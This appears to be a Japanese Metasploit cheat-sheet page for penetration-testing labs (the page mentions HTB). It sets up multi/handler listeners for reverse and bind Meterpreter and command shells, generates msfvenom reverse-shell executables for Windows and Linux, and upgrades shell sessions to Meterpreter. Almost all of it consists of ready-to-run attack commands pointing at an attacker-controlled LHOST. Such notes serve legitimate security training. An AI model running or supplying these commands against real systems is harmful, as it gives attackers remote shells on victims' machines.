コンテンツにスキップ

ハンドラと待ち受け

リバースシェルや Meterpreter の待ち受けと、既存のシェルセッションからの昇格をまとめます。ハンドラによる待ち受けと、セッション上での昇格は別の操作です。

リバース接続用の Meterpreter ハンドラ

Section titled “リバース接続用の Meterpreter ハンドラ”

Windows reverse Meterpreter の定番です。rc/handler_windows_meterpreter_reverse.rc に置く内容の例です。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set EXITFUNC thread
set ExitOnSession false
run -j
sessions -l
resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc

Linux reverse Meterpreter を一時的に使う場合です。

use exploit/multi/handler; run -j verbose=true payload=linux/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

ExitOnSession false と run -j で、複数のセッションを受けられるバックグラウンドジョブとしてハンドラを起動します。

通常のリバースシェルハンドラ

Section titled “通常のリバースシェルハンドラ”

Meterpreter ではなくコマンドシェルを待つ場合です。

use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set ExitOnSession false
run -j

Linux ならペイロードを変えます。

use exploit/multi/handler; run -j verbose=true payload=linux/x64/shell/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

stageless を使う場合は shell_reverse_tcp(スラッシュなしの single)を選びます。staged / stageless のどちらを対象へ置いたかに合わせます。

対象側が待ち受け、Kali 側から接続する場合です。

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.10.11.123
set LPORT 4444
set EXITFUNC thread
run -j

通常のバインドシェルならペイロードを windows/x64/shell_bind_tcp にします。NAT、Windows Firewall、別セグメント越しでは失敗しやすいため、先に到達性を確認します。

ハンドラは「待ち」だけです。対象上で reverse を起動する経路は別に用意します。

経路例
msfvenom で生成して配置msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe
既存シェルから昇格sessions -u 1 / shell_to_meterpreter
exploit モジュールのペイロードweb RCE などから直接 Meterpreter / シェルを返す
fetch ペイロード対象が curl / wget / certutil で取りに来る

msfvenom の最小例です。

ターミナルウィンドウ
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f elf -o /tmp/rev.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f exe -o /tmp/rev.exe

ハンドラを先に起動してから、対象側で実行します。

シェルセッションを Meterpreter へ昇格する

Section titled “シェルセッションを Meterpreter へ昇格する”

既に reverse / bind のシェルセッションがある場合です。

sessions -l
sessions -u 1
sessions -l

明示的に post モジュールを使う場合です。

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=true

handler=true は post モジュール側で一時ハンドラを立てます。既に同じ LPORT でハンドラが動いていると衝突するので、空きポートを使います。

OS 誤検知時は PAYLOAD_OVERRIDE と PLATFORM_OVERRIDE を付けます。詳細は SSH / WinRM ログイン と同じです。

  1. LHOST に対象から到達できるインターフェース(HTB なら tun0)を指定しているか。
  2. LPORT が他プロセス / 他ハンドラと衝突していないか。
  3. ペイロードの OS / arch / staged か stageless かが対象側と一致しているか。
  4. sessions -l と jobs -l で待ち受け状態を確認できるか。

セッションが返らないときの切り分けは トラブルシューティング へ進みます。